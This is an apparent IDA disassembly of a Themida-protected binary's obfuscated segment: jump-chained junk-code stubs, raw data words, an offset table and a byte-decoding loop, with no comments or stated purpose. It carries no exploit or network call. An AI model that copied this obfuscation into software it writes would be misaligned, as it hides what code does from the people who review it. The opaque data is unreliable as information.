		pop	ebx
		jmp	loc_54B5D2
; ---------------------------------------------------------------------------
		dd 0DDE9C101h, 81FFFF8Dh, 9084FC6h, 0B633E94Eh,	0E950FFFFh
		dd 2B4h, 4C481h, 89500000h, 4EA3E9E0h, 0FA01FFFFh, 4EA835Fh
		dd 5C241487h, 0BF243C89h, 44F227BCh, 2BC7814Fh,	0C1028973h
		dd 0F78104EFh, 477B9AAh, 4665EA81h, 0FA013E71h,	4665C281h
		dd 0E95F3E71h, 0FFFF63EAh, 0E9243489h, 0FFFFB4ACh
dword_552038	dd 240C8B66h, 4EC81h, 32E90000h	; DATA XREF: Themida_:00546268o
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552047:				; CODE XREF: Themida_:00547445j
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		sub	ecx, 40AC5B73h
		jmp	loc_54C366
; ---------------------------------------------------------------------------
		db 0F7h
		dd 1ED81DDh, 81000000h,	0E202D2C5h, 251C6810h, 0C890000h
		dd 51F5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552082:				; CODE XREF: Themida_:0054F940j
		add	eax, 4
		push	ebx
		mov	ebx, 4
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5474F0
; ---------------------------------------------------------------------------
		db 66h,	89h, 4
		dd 4441E924h, 34FFFFFFh, 6E8FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5520B2:				; CODE XREF: Themida_:0054DAAAj
		add	ebx, ecx
		pop	ecx
		mov	edx, ebx
		push	dword ptr [esp]
		jmp	loc_54745E
; ---------------------------------------------------------------------------


loc_5520BF:				; CODE XREF: Themida_:0054C247j
		sub	[esp+8], ebp
		pop	ebp
		add	[esp+4], eax
		jmp	loc_5516CE
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 921AF2B9h, 0BD555254h, 60BB0FBCh, 815DEA89h,	4ECh, 243C8900h
		dd 0FDE170BFh, 5FE956ECh
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5520F3:				; CODE XREF: Themida_:0054EF4Fj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5515C2
; ---------------------------------------------------------------------------
		dd offset unk_4DF480
		dd 24048BE7h, 0E904C483h, 0FFFFD410h, 0FF43DAE9h, 0F6EF86FFh
		dd 0EA8852D5h, 78E9FD88h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55211F:				; CODE XREF: Themida_:00548F79j
		push	eax
		jmp	loc_54F93E
; ---------------------------------------------------------------------------
		db 0C1h, 0EFh, 8
		dd 0FFE823E9h, 241487FFh, 24048F5Ch, 0FFC716E9h, 61BE56FFh
		dd 461C4553h, 1038EE81h, 0E6C101B1h, 0D110E902h, 4FBDFFFFh
		dd 199D1D9h, 24048BC5h,	81E68956h, 4C6h, 4C68300h, 0E9243487h
		dd 0FFFF7A01h, 8106E9C1h, 4E790AC1h, 59C82948h,	6CE9E829h
		dd 1FFFF5Fh, 0C7A4E9CFh, 0DA01FFFFh, 0A808E95Bh, 0E951FFFFh
		dd 0FFFF7C8Dh
dword_552194	dd 24048B66h, 56E08950h, 6B7FC1BEh, 1CF7566Ah, 0E6815E24h
					; DATA XREF: Themida_:0054645Co
		dd 15101A51h, 1CB1684Eh, 2C890000h, 0DDABD24h, 0E5D10C41h
		dd 627EE581h, 0C14D4A92h, 0F58105EDh, 15541005h, 2D5DEE31h
		dd 6FEE22C6h, 0FFAE5CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5521D9:				; CODE XREF: Themida_:0055097Dj
		push	edi
		push	eax
		jmp	loc_550FD9
; ---------------------------------------------------------------------------


loc_5521E0:				; CODE XREF: Themida_:0054A8F3j
		not	ecx
		shr	ecx, 5
		jmp	loc_54D14D
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFF9F1Dh
; ---------------------------------------------------------------------------


loc_5521F0:				; CODE XREF: Themida_:0054E76Fj
		sub	[esp], edi
		pop	edi
		sub	edi, 49881D69h
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	esi
		jmp	loc_5527D7
; ---------------------------------------------------------------------------
		dw 0C201h
		dd 7004C281h, 0C281575Ch, 6417627Eh, 668EC281h,	0CCE95D81h
		db 42h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55221F:				; CODE XREF: Themida_:0054AA50j
		pop	esi
		push	ebx
		jmp	loc_54CDC7
; ---------------------------------------------------------------------------
		dw 0DEF6h
		dd 0FFDC75E9h, 0E9525EFFh, 0FFFFF349h, 0E9240C89h, 0FFFF71A2h
		dd 19B85052h, 25038374h, 7CC42075h, 2D01E883h, 80200Ch
		dd 0FF74A3E9h, 72EF81FFh, 814DF156h, 2A2B9EC6h,	81FE2904h
		dd 2A2B9EEEh, 81565F04h, 174F2434h, 81595835h, 35174FF1h
		dd 0C9815E58h, 57251D64h, 0ECEE981h, 0CF89441Ah, 81240C8Bh
		dd 4C4h, 0FFBEBA00h, 0FA29AEBAh, 0E9243C8Bh, 0FFFFC657h
		dd 405E089h, 2D000000h,	4, 8B240487h, 4892424h,	5E08924h
		dd 4, 8704C083h, 248B2404h, 0EA23E924h,	0C381FFFFh, 4
		dd 0E904C383h, 0FFFF6DDFh, 2CC468h, 24248900h, 1B4E9h
		dd 2C48300h, 0E0DFE956h, 74FFFFFFh, 348B0424h, 0E2895224h
		dd 4C281h, 0F6E90000h, 83FFFF44h, 248904ECh, 24048124h
		dd 4, 4C7815Fh,	56000000h, 4A32BB53h, 0DBF7172Dh, 0FF7C3FE9h
		dd 2DC801FFh, 4CA068E9h, 0FA65352Dh, 0E055977h,	0FF32EA4Ah
		dd 815D2434h, 4C4h, 26BE5600h, 0E96E7027h, 0FFFFCC69h
		dd 81E38953h, 4C3h, 4C38300h, 5C241C87h, 49EE9h, 24048100h
		dd 481C76ECh, 8324348Bh, 0EE8104C4h, 481C76ECh,	0B2C28159h
		dd 2916DD22h, 0B0BCE9F2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552382:				; CODE XREF: Themida_:005468FEj
		pop	edi
		push	ebp
		jmp	loc_54D240
; ---------------------------------------------------------------------------
		db 0C0h, 0E2h, 4
		dd 80CCF280h, 0EC8142EAh, 4, 0B3241C89h, 5967E971h, 0EC83FFFFh
		dd 240C8904h, 95483CB9h, 15E95216h, 5CFFFFA4h, 0FF8880E9h
		dd 13C568FFh, 1C890000h, 0C06FB724h, 0F78005EFh, 1C78029h
		dd 0FFC34EE9h, 4C683FFh, 2474FF56h, 9AE95E04h
		db 0A8h, 2 dup(0FFh)
byte_5523DF	db 68h			; DATA XREF: Themida_:00546314o
		dd 72BAh, 54242C89h, 417AE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5523EE:				; CODE XREF: Themida_:00550798j
		dec	edx
		push	esi
		jmp	loc_54FA1B
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 42Dh, 24048700h, 8924248Bh, 38B82404h, 52656111h
		dd 0F92A3CBAh, 0FFD1897Fh, 0FEE92434h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55241F:				; CODE XREF: Themida_:00549D2Bj
		mov	edx, 76824D3Bh
		inc	edx
		shr	edx, 8
		or	edx, 775722CEh
		and	edx, 63A8379Ch
		xor	edx, 704314D1h
		add	edx, 0C2F1D2Fh
		sub	ebp, edx
		jmp	loc_54FAFD
; ---------------------------------------------------------------------------
		db 53h
		dd 0C381E389h, 4, 4C381h, 1C870000h, 24248B24h,	0FF971FE9h
		dd 54B050FFh, 0D0F6C0FEh, 0FFDE08E9h, 0E9F701FFh, 0FFFF5931h
		dd 8B5DEA01h, 0C4832434h, 0C2835F04h, 24143302h, 33241431h
		dd 665C2414h, 6824048Bh, 6D85h,	0FFE6C8E9h, 240483FFh
		dd 4055804h, 52000000h,	2BAh, 20790500h, 0EF05557Bh, 1506F47h
		dd 0EFBF57D0h, 29506F47h, 792D5FF8h, 8B557B20h,	89532414h
		dd 0BDAEE9E3h, 3487FFFFh, 4F685C24h, 0E9000005h, 0FFFFE47Ch
		dd 0D224248Bh, 0E99C240Ch, 0FFFFCF4Fh
; ---------------------------------------------------------------------------


loc_5524E8:				; CODE XREF: Themida_:005473BEj
		pop	edx
		push	1AF0h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		jmp	loc_550910
; ---------------------------------------------------------------------------
		db 0BFh
		dd 59667D34h, 0AB7318B9h, 5FF9313Fh, 0F548E957h, 6853FFFFh
		dd 0DAC107Dh, 2DCB815Bh, 0E9455121h, 0FFFFBB54h, 3B4168h
		dd 24248900h, 4BD55h, 6C010000h, 2C8B0424h, 0EEB6E924h
		dd 0E0C1FFFFh, 116C2505h, 0E0C1742Bh, 0AF79E907h, 0E1C1FFFFh
		dd 2E1C102h, 48E5C981h,	98681345h, 89000071h, 14F7240Ch
		dd 0C1815924h, 0CDD1629Dh, 34FFCE89h, 0C4815924h, 4, 0FF8444E9h
		dd 0C3835DFFh, 241C8704h, 0FFC7B0E9h, 7EFC0FFh,	6DB252h
		dd 24148BD7h, 0FFBCF1E9h, 244481FFh, 0C45B7804h, 246C297Bh
		dd 246C8104h, 0C45B7804h, 242C8B7Bh, 6804C483h,	6A6Ch
		dd 0E9240489h, 0FFFF54F5h
; ---------------------------------------------------------------------------


loc_5525C0:				; CODE XREF: Themida_:0054E66Aj
		mov	edi, 65035E85h
		sub	eax, edi
		pop	edi
		sub	eax, 0C42923Dh
		sub	ebp, eax
		pop	eax
		add	ecx, ebp
		jmp	loc_54BBAA
; ---------------------------------------------------------------------------
		db 0B9h
		dd 60BD3296h, 7110E181h, 0D9F73701h, 0FF7F21E9h, 24248BFFh
		dd 0E9240C89h, 0FFFFBFD7h
; ---------------------------------------------------------------------------


loc_5525F4:				; CODE XREF: Themida_:00551661j
		push	7F82h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_54EDD9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 86E3E900h, 2C31FFFFh, 242C3324h, 2024248Bh, 0E99C2404h
		dd 0FFFF5071h
dword_55262C	dd 24048B66h, 8904EC83h, 39E9243Ch, 0FEFFFF97h,	42C580CDh
					; DATA XREF: Themida_:005462ECo
		dd 0FF453FE9h, 4BDFFh, 0C6810000h, 968628Ch, 0EE81EE01h
		dd 968628Ch, 4C6815Dh, 56000000h, 42474FFh, 24048F5Eh
		dd 0FFC733E9h, 0A1EB81FFh, 10DC67Ah, 0A1C381FBh, 5F0DC67Ah
		dd 31241C33h, 1C33241Ch, 0AC685C24h, 89000043h,	0EC81240Ch
		dd 4, 0B0240489h, 58C1885Dh, 39E9CB28h,	0BFFFFFBCh, 2546965Eh
		dd 2D5FFD31h, 0AD479E3h, 0FF8822E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5526B5:				; CODE XREF: Themida_:00547589j
		add	bl, 2Bh
		jmp	loc_5476C1
; ---------------------------------------------------------------------------
		db 31h,	2Ch, 24h
		dd 0FF7B29E9h, 24248BFFh, 24148B66h, 0FF51B7E9h, 0E95B66FFh
		dd 0FFFF5484h, 8106EEC1h, 0D35100F6h, 36F68155h, 8910F067h
		dd 0D0015EF2h, 6F3D055Ah, 0F82942EBh, 6F3DBF57h, 0F82942EBh
		dd 81243C8Bh, 4C4h, 37BF2D00h, 295F4496h, 0BF305D8h, 0BE564B1Dh
		dd 6A45352h, 0A4FAC681h, 0EC8113BCh, 4,	0BE243489h, 16B3628Bh
		dd 295EF001h, 0BF5753F0h, 364D4016h, 815FFB89h,	1C3h, 0D3F74B00h
		dd 93F3814Bh, 51799929h, 3DF6BB53h, 5EE9178Ch, 5FFFFFB2h
		dd 4C781h, 76E90000h, 8BFFFF59h, 0C4832404h, 57C20104h
		dd 3262FBFh, 87C7814Bh,	121774Fh, 0EE14E9FAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55277E:				; CODE XREF: Themida_:0054F172j
		sub	eax, 2EA6EDAh
		push	840h
		jmp	loc_548C3E
; ---------------------------------------------------------------------------
		db 68h,	0DCh, 30h
		dd 14890000h, 95A3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55279A:				; CODE XREF: Themida_:0054F5FCj
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	436Ah
		mov	[esp], edx
		push	ecx
		push	424D27E5h
		pop	ecx
		sub	ecx, 0C8A1E2C2h
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	[esp+4], edx
		jmp	loc_551BDA
; ---------------------------------------------------------------------------


loc_5527CF:				; CODE XREF: Themida_:00548E48j
		xor	[esp], edx
		jmp	loc_54FDA0
; ---------------------------------------------------------------------------


loc_5527D7:				; CODE XREF: Themida_:00552201j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_546768
; ---------------------------------------------------------------------------
		db 52h,	8Bh, 4
		dd 4C48124h, 0FF000000h, 525A2434h, 0CDE95A54h,	8FFFF5Dh
		dd 0E95966EEh, 0FFFFF122h, 8BC8295Eh, 0C483240Ch, 4EC8104h
		dd 89000000h, 0A1E9242Ch, 87FFFF74h, 248B2404h,	2434FF24h
		dd 0FFEC64E9h, 7CEA81FFh, 0E9DAA800h, 0FFFF49C0h, 4C481h
		dd 5B570000h, 0C9EB815Fh, 1214F07h, 0EC815BDFh,	4, 0FF7C8AE9h
		dd 0C335AFFh, 240C3124h, 5C240C33h, 0E99CC83Bh,	0FFFF3C83h
		dd 36E5BA52h, 0EA81587Dh, 18E7E02h, 940DF281h, 0D5013F7Ch
		dd 0FFAF45E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552881:				; CODE XREF: Themida_:0054ECF7j
		add	edx, 2A747FDh
		xor	edx, 782DEE8Fh
		mov	ebp, edx
		jmp	loc_550521
; ---------------------------------------------------------------------------
		dd offset dword_5A719C
		dd 0FFFF8D8Dh, 805B359Bh, 5A66FCh, 0
		dd 0F71EE5CEh, 57F892h,	217h, 2, 1, 4, 0F71EE5CEh, 5 dup(0)
		dd offset dword_55E970
		dd offset byte_564BDB
		dd offset word_563B8E
		dd offset word_55E302
		dd offset word_5532CA
		dd offset byte_56772F
		dd offset off_562EF7
		dd offset byte_5612D7
		dd offset byte_5655FD
		dd offset dword_55EA44
		dd offset byte_566687
		dd offset byte_556A49
		dd offset byte_5568E3
		dd offset word_55FF26
		dd offset byte_55C62F
		dd offset off_5652CF
		dd offset word_558DE2
		dd offset byte_5647C3
		dd offset word_557572
		dd offset word_552FEA
		dd offset byte_565A09
		dd offset dword_55DC3C
		dd offset byte_55D3D3
		dd offset byte_561019
		dd offset word_5600A2
		dd offset word_55C246
		dd offset dword_567900
		dd offset byte_56036F
		dd offset word_56605E
		dd offset dword_552D9C
		dd offset aM0Hjv	; "╛0ьh╕V"
		dd offset dword_55F9A0
		dd offset byte_55CD4B
		dd offset byte_55CBB9
		dd offset dword_5592B8
		dd offset byte_55D2A9
		dd offset byte_55B521
		dd offset byte_5583DB
		dd offset byte_563EAB
		dd offset dword_55722C
		dd offset byte_5555AD
		dd offset dword_55EC24
		dd offset word_5579A2
		dd offset byte_55B99B
		dd offset byte_562A21
		dd offset word_553116
		dd offset byte_567B59
		dd offset byte_5604A1
		dd offset word_55F76E
		dd offset byte_55A0EF
		dd offset word_55B122
		dd offset word_55AC2A
		dd offset dword_55862C
		dd offset byte_56239B
		dd offset byte_55BD49
		dd offset word_55D432
		dd offset byte_56061D
		dd offset word_5592EE
		dd offset aMhW		; "╛h╫W"
		dd offset byte_564837
		dd offset byte_556CC7
		dd offset word_55EA22
		dd offset byte_564CC3
		dd offset word_560A12
		dd offset dword_562D88
		dd offset dword_557D4C
		dd offset word_563D6E
		dd offset byte_5593E5
		dd offset byte_565897
		dd offset byte_564A79
		dd offset byte_561AAF
		dd offset dword_557250
		dd offset byte_5542C9
		dd offset byte_5581B1
		dd offset byte_557A1F
		dd offset word_55B83E
		dd offset dword_5555B8
		dd offset dword_55F838
		dd offset byte_553341
		dd offset word_564696
		dd offset dword_5661CC
		dd offset word_567056
		dd offset word_556DCE
		dd offset word_55E06A
		dd offset word_556336
		dd offset dword_55CBF8
		dd offset word_55BB1E
		dd offset byte_55DC6B
		dd offset aNwhu		; "╜WhН\b"
		dd offset byte_554443
		dd offset off_5584A6
		dd offset dword_5672AC
		dd offset dword_556BC8
		dd offset byte_565F43
		dd offset word_5580A2
		dd offset byte_56542F
		dd offset dword_568228
		dd offset byte_559C9F
		dd offset byte_561EEB
		dd offset word_55770A
		dd offset dword_562964
		dd offset word_564706
		dd offset dword_55B570
		dd offset byte_55402D
		dd offset word_55D0C6
		dd offset byte_563317
		dd offset word_564456
		dd offset byte_563883
		dd offset byte_557727
		dd offset byte_55DD89
		dd offset dword_557BCC
		dd offset word_55AD32
		dd offset byte_554403
		dd offset word_556802
		dd offset word_55BE8A
		dd offset byte_55611D
		dd offset byte_561E7F
		dd offset word_561DF6
		dd offset dword_563924
		dd offset dword_55314C
		dd offset dword_562EE0
		dd offset dword_559F34
		dd offset byte_563E8F
		dd offset byte_556D29
		dd offset byte_564EE7
		dd offset dword_55C9E4
		dd offset dword_55F534
		dd offset byte_5680C1
		dd offset word_55450E
		dd offset byte_5603E7
		dd offset byte_565745
		dd offset byte_566675
		dd offset byte_55932B
		dd offset byte_555465
		dd offset byte_562BFD
		dd offset byte_55904D
		dd offset word_566076
		dd offset byte_557EB1
		dd offset byte_55B4AB
		dd offset byte_55BC17
		dd offset aM0H?		; "╛0ьh?,"
		dd offset dword_553718
		dd offset dword_55C648
		dd offset byte_553E43
		dd offset byte_55F027
		dd offset aHs		; "hS;"
		dd offset word_563C2A
		dd offset byte_55C86B
		dd offset word_566C62
		dd offset byte_565F61
		dd offset word_55BE1A
		dd offset byte_564729
		dd offset dword_560030
		dd offset byte_56384D
		dd offset dword_562B1C
		dd offset word_55EF16
		dd offset byte_561BB9
		dd offset word_559362
		dd offset dword_56610C
		dd offset byte_563F41
		dd offset word_55819A
		dd offset word_554CBE
		dd offset byte_564D97
		dd offset byte_55AAE1
		dd offset word_554EE2
		dd offset dword_559A8C
		dd offset byte_556C13
; ---------------------------------------------------------------------------


loc_552B74:				; CODE XREF: Themida_:005A1801j
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 93645AEh
		mov	eax, edi
		add	edi, 93642C6h
		cmp	eax, [edi+2Ch]
		jnz	short loc_552B92
		jmp	short loc_552BA5
; ---------------------------------------------------------------------------


loc_552B92:				; CODE XREF: Themida_:00552B8Ej
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_552BA1
; ---------------------------------------------------------------------------


loc_552B9C:				; CODE XREF: Themida_:00552BA3j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_552BA1:				; CODE XREF: Themida_:00552B9Aj
		or	ecx, ecx
		jnz	short loc_552B9C


loc_552BA5:				; CODE XREF: Themida_:00552B90j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_552BB2:				; CODE XREF: Themida_:00552BB9j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_552BB2


loc_552BBB:				; CODE XREF: Themida_:005532A6j
					; Themida_:00553B9Ej ...
		lodsb
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 31h
		shl	bh, 3
		add	bh, 0A6h
		add	al, bh
		mov	ebx, [esp]
		add	esp, 4
		add	al, 28h
		push	ecx
		mov	cl, 0C3h
		add	cl, 7Dh
		sub	al, cl
		pop	ecx
		add	al, 6Fh
		add	al, bl
		sub	al, 6Fh
		add	al, 40h
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0F4h
		push	bx
		mov	bh, 0CCh
		push	eax
		mov	ah, 9Eh
		xor	ah, 55h
		not	ah
		sub	ah, 4
		add	cl, ah
		pop	eax
		add	cl, 0D1h
		sub	cl, bh
		jmp	loc_557210
; ---------------------------------------------------------------------------
		db 8Bh
		dd 54562414h, 4C6815Eh,	81000000h, 4C6h, 74FF5600h, 8F5E0424h
		dd 248B2404h, 0ACE95524h
		db 42h,	1, 0
; ---------------------------------------------------------------------------


loc_552C33:				; CODE XREF: Themida_:00566D16j
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, edx
		pop	edx
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		push	esi
		push	5D1120B9h
		mov	esi, [esp]
		add	esp, 4
		shr	esi, 6
		shl	esi, 8
		push	3B7Ch
		mov	[esp], eax
		jmp	loc_5637E8
; ---------------------------------------------------------------------------
		dd 0E3E95650h, 8F00001Eh, 0FE5C2404h, 0E99C240Ch, 0FFFFFF3Bh
		dd 0FD2D9545h, 1106F9Fh, 0DFEAE9C3h, 34FF0000h,	0E9505B24h
		dd 111B3h
; ---------------------------------------------------------------------------


loc_552C98:				; CODE XREF: Themida_:00565721j
		push	esi
		push	ecx
		push	29090DB3h
		pop	ecx
		mov	esi, 414125B0h
		xor	esi, ecx
		pop	ecx
		jmp	loc_558706
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 4EA8300h, 5C241487h, 11A9DE9h,	0E1895100h, 4BB53h
		dd 0C1810000h, 5017059Ch, 3410C181h, 0D9011BC8h, 70A6BA52h
		dd 0CA8119BBh, 1E062693h, 148FC281h, 0F2815599h, 9EE2357h
		dd 0BEFE281h, 0A7E91555h, 0B900001Fh, 19C26714h, 23D5E9h
		dd 24043300h, 33240431h, 248B2404h, 9CC13824h, 154BFE9h
		dd 34FF5C00h, 0C4815A24h, 4, 8B66D800h,	8157241Ch, 4ECh
		dd 24248900h, 4240483h,	4C7815Fh, 0E9000000h, 26C9h, 11345125h
		dd 2DD8F725h, 0EF75D8D3h, 704CC181h, 0C1296B39h, 76BFBA52h
		dd 0EA813A14h, 0CEDB0673h, 585AD129h, 0C181F129h, 0C89231Ch
		dd 8324348Bh, 67E904C4h
		db 11h,	1, 0
; ---------------------------------------------------------------------------


loc_552D7B:				; CODE XREF: Themida_:00563633j
		mov	ebp, 0AFE5E80h
		xor	ebp, edi
		mov	edi, [esp]
		jmp	loc_55FAB5
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 8B665C24h, 1868240Ch, 0E9000019h, 10676h
dword_552D9C	dd 8B2434FFh, 0E6E92404h ; DATA	XREF: Themida_:0055294Co
		db 0F2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_552DA7:				; CODE XREF: Themida_:005677F4j
		push	5C54h
		mov	[esp], esi
		push	edi
		mov	edi, 76CB1888h
		jmp	loc_55C10F
; ---------------------------------------------------------------------------


loc_552DBA:				; CODE XREF: Themida_:0056210Fj
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_554B35
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 0D0D23B62h, 14317E9h, 241C8900h, 0D36FE9h
		db 0
; ---------------------------------------------------------------------------


loc_552DE9:				; CODE XREF: Themida_:005552C1j
		push	ebx
		xor	dword ptr [esp], 7DF92716h
		pop	esi
		jmp	loc_55A744
; ---------------------------------------------------------------------------


loc_552DF7:				; CODE XREF: Themida_:005662C5j
		mov	esi, 5AAC47AFh
		jmp	loc_563295
; ---------------------------------------------------------------------------


loc_552E01:				; CODE XREF: Themida_:0055C66Ej
		pop	edx
		add	edx, 4
		push	esi
		mov	esi, 395E760Dh
		jmp	loc_562C33
; ---------------------------------------------------------------------------
		db 5
		dd 0A6B66F84h, 48BC201h, 4C48124h, 55000000h, 0A428E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552E2A:				; CODE XREF: Themida_:00561F84j
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		jmp	loc_55AD4B
; ---------------------------------------------------------------------------
		db 51h
		dd 3DFBE9h, 2C48100h, 0
aXqNaSasussv	db 'аXQ╠N─а≤─ИUИS╒',0
		align 10h
aZ4Se		db '┤4$И╔]',0
		align 4
		dd 5CF5E955h, 22350000h, 517AD246h, 290BE9h, 4C48100h
		dd 1000000h, 0B9E95DEAh, 0FF00009Eh, 835E2434h,	0B95104C4h
		dd 5E7824A5h, 60E9CB01h, 5300005Eh, 0A978E4BBh,	5BDA2914h
		dd 215AE9h, 0BA525700h,	7B57223Fh, 7701CA81h, 0F28174B0h
		dd 1902636Ah, 0B9DFE9h
		db 0
; ---------------------------------------------------------------------------


loc_552EC1:				; CODE XREF: Themida_:0055CBA4j
		push	esi
		push	65022204h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		sub	esi, 31D90FC3h
		push	1FCEh
		mov	[esp], esi
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_55CA9F
; ---------------------------------------------------------------------------


loc_552EEA:				; CODE XREF: Themida_:00565CD5j
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		mov	edx, 0DA36EF1h
		dec	edx
		sub	esp, 4
		jmp	loc_55F7AD
; ---------------------------------------------------------------------------
		db 59h
		dd 0AE98141h, 51F41ED5h, 0A17FE9h, 0D8295900h, 0E9D8F75Bh
		dd 5CC8h, 4C1815Bh, 81000000h, 4ECh, 240C8900h,	0F6FEE9h
		dd 0CE68100h, 687FA207h, 1A23h,	0BF243C89h, 22265C21h
		dd 26B9E9h, 24148900h, 9B75F7BAh, 87C28167h, 554A7E5Eh
		dd 0D004E8BDh, 5DEA2152h, 0F896E9h, 7E7C100h, 68h, 7517E900h
		dd 24890000h, 24048124h, 4, 14598E9h
		db 0
; ---------------------------------------------------------------------------


loc_552F81:				; CODE XREF: Themida_:005621F5j
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_568178
; ---------------------------------------------------------------------------
		dw 0EE31h
		dd 58E9815Dh, 297D8E52h, 58C181F1h, 8B7D8E52h, 0C4832434h
		dd 240C3304h, 11D40E9h
		db 0
; ---------------------------------------------------------------------------


loc_552FB9:				; CODE XREF: Themida_:00567379j
		sub	ebp, 11066006h
		jmp	loc_5567E6
; ---------------------------------------------------------------------------


loc_552FC4:				; CODE XREF: Themida_:00558F3Fj
		add	edx, esi
		pop	esi
		add	edi, edx
		jmp	loc_55D3FF
; ---------------------------------------------------------------------------


loc_552FCE:				; CODE XREF: Themida_:0055FCB8j
		mov	esi, 13335CD6h
		jmp	loc_559C57
; ---------------------------------------------------------------------------
		dd 4C48158h, 31000000h,	0EC835EF0h, 1643E904h
		db 1, 0
word_552FEA	dw 77FFh		; DATA XREF: Themida_:00552924o
		dd 58669D1Ch, 24041166h, 0FBC1E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_552FFA:				; CODE XREF: Themida_:0055CC2Cj
		dec	ebp
		jmp	loc_561E29
; ---------------------------------------------------------------------------
		dd 0E9525155h, 0C006h, 205h, 24048700h,	0D5E4E9h, 26800h
		dd 2C8B0000h, 4C48124h,	0E9000000h, 0A720h, 4BF5759h, 1000000h
		dd 0E6D6E9FBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553036:				; CODE XREF: Themida_:0055D96Aj
		xor	eax, 36CD2B52h
		shl	eax, 8
		add	eax, 9B61E504h
		jmp	loc_55A289
; ---------------------------------------------------------------------------
		dd 24148966h, 0E99C5066h, 0FFFFFB67h, 5C240C87h, 15CE6856h
		dd 24890000h, 24048124h, 4, 4C6815Eh, 53000000h, 0F23BEBBBh
		dd 71CB8149h, 0E903DB65h, 0DF91h, 0F294E981h, 0CE292268h
		dd 0BDC68159h, 811A464Dh, 0BE5498C6h, 0CEE8169h, 0E9458634h
		dd 13EC0h, 0FB7FDE35h, 0BCED815Fh, 1351720h, 0BCC581C5h
		dd 58351720h, 7702E9h
		db 0
; ---------------------------------------------------------------------------


loc_5530B9:				; CODE XREF: Themida_:0055E8F7j
		mov	ecx, 3B51190Ah
		add	ebp, 7E59698Eh
		add	ebp, ecx
		sub	ebp, 7E59698Eh
		pop	ecx
		add	ebp, esi
		jmp	loc_5531EB
; ---------------------------------------------------------------------------
		dd 0CD31E931h, 8A20F581h, 0E801B400h, 83242C8Bh, 40504C4h
		dd 0E9000000h, 1318Eh, 5224048Bh, 0C281E289h, 4, 8704C283h
		dd 0E95C2414h, 14A14h, 0C681E689h, 4, 0ACE9E955h
		db 2 dup(0)
word_553116	dw 8B66h		; DATA XREF: Themida_:0055298Co
		dd 0EC812404h, 4, 2F9FE9h, 243C8900h, 42474FFh,	68243C8Bh
		dd 4D8Fh, 54243C89h, 81243C8Bh,	4C4h, 4C78100h,	0E9000000h
		dd 3437h
dword_55314C	dd 1C8868h, 24148900h, 927FDBAh, 81EAD158h, 744C43C2h
					; DATA XREF: Themida_:00552AB4o
		dd 4EC8317h, 0BF243C89h, 3B4F1141h, 3C8BFA09h, 4C48124h
		dd 50000000h, 233D04B8h, 6E8C159h, 7856E9h, 912C00h, 2C9104D0h
		dd 0EC815A3Ah, 4, 51241C89h, 5366A9B1h,	0CC885052h, 0E9E78853h
		dd 13240h
; ---------------------------------------------------------------------------


loc_5531A8:				; CODE XREF: Themida_:0056253Fj
		add	esp, 4
		jmp	loc_554503
; ---------------------------------------------------------------------------
		dd 226AC781h, 0BE93D5Ch
